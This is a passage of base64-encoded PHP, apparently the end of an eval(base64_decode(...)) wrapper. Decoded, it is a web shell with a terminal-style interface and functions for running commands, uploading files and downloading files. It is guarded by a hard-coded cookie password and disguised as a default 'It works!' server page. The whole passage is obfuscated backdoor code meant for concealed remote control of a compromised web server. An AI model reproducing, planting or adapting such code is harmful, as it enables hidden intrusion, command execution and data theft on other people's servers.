JpcHQ+JzsKfQpmdW5jdGlvbiBlY2hvSGVhZCgpCnsKZWNobyAnPCFkb2N0eXBlIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlIHR5cGU9InRleHQvY3NzIiBtZWRpYT0ic2NyZWVuIj4KaHRtbCwgYm9keSwgZGl2LCBzcGFuLCBhcHBsZXQsIG9iamVjdCwgaWZyYW1lLApoMSwgaDIsIGgzLCBoNCwgaDUsIGg2LCBwLCBibG9ja3F1b3RlLCBwcmUsCmEsIGFiYnIsIGFjcm9ueW0sIGFkZHJlc3MsIGJpZywgY2l0ZSwgY29kZSwKZGVsLCBkZm4sIGVtLCBmb250LCBpbWcsIGlucywga2JkLCBxLCBzLCBzYW1wLApzbWFsbCwgc3RyaWtlLCBzdHJvbmcsIHN1Yiwgc3VwLCB0dCwgdmFyLApkbCwgZHQsIGRkLCBvbCwgdWwsIGxpLApmaWVsZCBzZXQsIGZvcm0sIGxhYmVsLCBsZWdlbmQsCnRhYmxlLCBjYXB0aW9uLCB0Ym9keSwgdGZvb3QsIHRoZWFkLCB0ciwgdGgsIHRkIHsgbWFyZ2luOjA7IHBhZGRpbmc6MDsgYm9yZGVyOjA7IG91dGxpbmU6MDsgfQpzdWIgeyB2ZXJ0aWNhbC1hbGlnbjpzdWI7IH0Kc3VwIHsgdmVydGljYWwtYWxpZ246IHN1cGVyOyB9CnVsLCBvbCB7IGxpc3Qtc3R5bGU6IG5vbmU7IH0KaW1nIHsgYm9yZGVyOjAgOyB9CmJvZHkgewpmb250LWZhbWlseTogbW9ub3NwYWNlOwp9CiNzaGVsbHsKYmFja2dyb3VuZC1jb2xvcjojMDAwOwp3aWR0aDoxMDAlOwptYXJnaW46MCBhdXRvOwpoZWlnaHQ6MTAwJTsKbWFyZ2luLXRvcDowcHg7CmNvbG9yOiNGRkY7CnRleHQtYWxpZ246bGVmdDsKfQojY29tbWFuZHsKcG9zaXRpb246IGFic29sdXRlOwp3aWR0aDo2MDBweDsKYm9yZGVyOm5vbmU7CmJhY2tncm91bmQtY29sb3I6ICMyMjI7CnBhZGRpbmc6MHB4OwptYXJnaW46MHB4OwpwYWRkaW5nOjNweCAwcHg7CmNvbG9yOiNGRkY7CmxlZnQ6MXB4Owpib3R0b206MXB4Owp9CiNvdXR7CmhlaWdodDo0MDBweDsKcGFkZGluZzogNXB4OwpwYWRkaW5nLWJvdHRvbTo0MHB4OwpwYWRkaW5nLXRvcDowcHg7CndpZHRoOjk5JTsKb3ZlcmZsb3cteTogc2Nyb2xsOwpvdmVyZmxvdy14OiBoaWRkZW47Cn0KI2RpcnsKYmFja2dyb3VuZC1jb2xvcjojMDAwOwpwb3NpdGlvbjphYnNvbHV0ZTsKYm90dG9tOiAyM3B4OwpsZWZ0OjBweDsKY29sb3I6I0FCMUEyRDsKfQojYWN0aW9uewpwb3NpdGlvbjphYnNvbHV0ZTsKYm90dG9tOiAycHg7CnJpZ2h0OiAyMHB4Owpjb2xvcjojRkZGOwp9Cjwvc3R5bGU+CjxsaW5rIHJlbD0ic2hvcnRjdXQgaWNvbiIgaHJlZj0iZGF0YTppbWFnZS9pY287YmFzZTY0LEFBQUJBQUVBRUJBQUFBQUFBQUJvQkFBQUZnQUFBQ2dBQUFBUUFBQUFJQUFBQUFFQUlBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCb2FHaVdhR2hvLzJob2FQOW9hR2ovYUdoby8yaG9hUDlvYUdqL2FHaG8vMmhvYVA5b2FHai9hR2hvLzJob2FQOW9hR2ovYUdoby8yaG9hUDlvYUdpV2FtcHEveVltSnY4bUppYi9KaVltL3lZbUp2OG1KaWIvSmlZbS95WW1KdjhtSmliL0ppWW0veVltSnY4bUppYi9KaVltL3lZbUp2OG5KaWIvYW1wcS8yeHNiUDhwS1NqL0tTa28veWtvS1A4cEtTbi9LU2twL3lrcEtmOG9LU24vS1NrcC95a3BLZjhwS1NuL0tTZ28veWtvS2Y4cEtDbi9LU2twLzJ4c2JQOXZiMi8vTEN3cy95MHNMZjhzTEN6L0xTd3MveXdzTFA4c0xDMy9MU3dzL3l3dExQOHRMQ3ovTEN3dC95d3NMUDhzTEMzL0xDMHMveXd0TFA5dmIyLy9jbkp5L3pBd01QOHdNREQvTURBdy96QXdNUDh3THpEL01EQXcvekF3TVA4d01ERC9NREF2L3pBd0wvOHdNREQvTURBdy96QXdNUDh2TUREL2NuSnkvM1IwZFA4ME5EVC9ORFEwL3pNME5QODBORFQvTkRRMC96UXpOUDgwTkRUL05EUTAvek0wTS84ME5EVC9ORFEwL3pRME5QODBORFQvTkRRei8zUjBkUDkzZDNmL09EZzQvemc0T1A4NE9Eai9XYXFELzFtcWcvOVpxb1AvT0RnNC96ZzRPUDg0T0RqL09EazQvemc0T1A4NE9Eai9PRGc0L3pnNE9QOTNkM2YvZTN0Ny96dzhQUDlacW9QL1BUdzgvenc4UFA4OFBEei9QRHc4L3p3OFBmODhQRHovUER3OC96MDhQUDg4UER6L1BEdzgvenc4UFA4OFBEei9lM3Q3LzM1K2Z2OUFRRC8vUUVCQS8xbXFnLzlBUUVEL1FFQkEvMEJBUVA5QVAwRC9RRUJBLzBCQVAvOUFRRC8vUUVCQS8wQkFRUDlBUUVEL1AwQkEvMzUrZnYrQmdZSC9RME5ELzFtcWcvOURSRVAvUTBSRC8wTkRRLzlEUTBQL1JFTkQvME5EUlA5RFEwUC9RME5ELzBORFEvOURSRVAvUTBORC8wTkRRLytCZ1lIL2c0T0QvMFpHUmY5R1JrYi9Sa1ZHLzBaR1J2OUdSVWIvUmtaRy8wWkdSdjlHUmtiL1JrWkcvMFpHUnY5R1JrYi9Sa1pGLzBaR1J2OUdSa2IvZzRPRC80YUdodi9JeU1qL3lNakovOGpJeWYvSXlNai95TWpKLzhqSXlQL0l5TWoveU1qSS84akl5UC9JeU1qL3lNbkkvOGpJeWYvSnlNai95TWpJLzRhR2h2K0ppWW4vNGVIaC85M2QzZi9kM2QzLzNkM2QvOTNkM2YvZDNkMy8zZDNkLzkzZDNmL2QzZDMvM2QzZC85M2QzZi9kM2QzLzNkM2QvK0hoNGYrSmlZbi9pNHVMd09YbDVmL3Q3ZTMvN096cy8renM3UC9zN096LzdPenMvK3pzN1AvczdPei83T3pzLyt6czdQL3M3T3ovN096cy8rM3Q3Zi9sNWVYL2k0dUx3STJOalZlTmpZM0FqWTJOLzQyTmpmK05qWTMvalkyTi80Mk5qZitOalkzL2pZMk4vNDJOamYrTmpZMy9qWTJOLzQyTmpmK05qWTMvalkyTndJMk5qVmYvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBLy8vL0FQLy8vd0QvLy84QS8vLy9BUC8vL3dELy8vOEEvLy8vQVAvLy93RC8vLzhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQUFRQUEvLzhBQUE9PSIvPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiIGNoYXJzZXQ9InV0Zi04IiBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzEuNi40L2pxdWVyeS5taW4uanMiPjwvc2NyaXB0Pic7Cn0KaWYoY2hlY2tDb21tYW5kKCkpCnsKcnVuQ29tbWFuZCgpOwp9CmVsc2UgaWYoY2hlY2tGaWxlVXBsb2FkKCkpCnsKc2hvd0ZpbGVVcGxvYWQoKTsKfQplbHNlIGlmKGNoZWNrRmlsZURvd25sb2FkKCkpCnsKc2hvd0ZpbGVEb3dubG9hZCgpOwp9CmVsc2UgaWYgKGNoZWNrVmVyc2lvbkNoZWNrKCkpCnsKZG9WZXJzaW9uQ2hlY2soKTsKfQplbHNlCnsKLy8gU2ltcGxlIENvb2tpZSBBdXRoZW50aWNhdGlvbgppZigkX0NPT0tJRVsnc2NhJ10gJiYgJF9DT09LSUVbJ3NjYSddID09PSAnZTc2MGRjNjMxZjRlYzViYzU2NWQ2MmM4NTliMDNjMDQnKQplY2hvU2hlbGwoKTsKZWxzZQplY2hvICc8aDE+SXQgd29ya3MhPC9oMT4nOwp9Cj8+")); ?>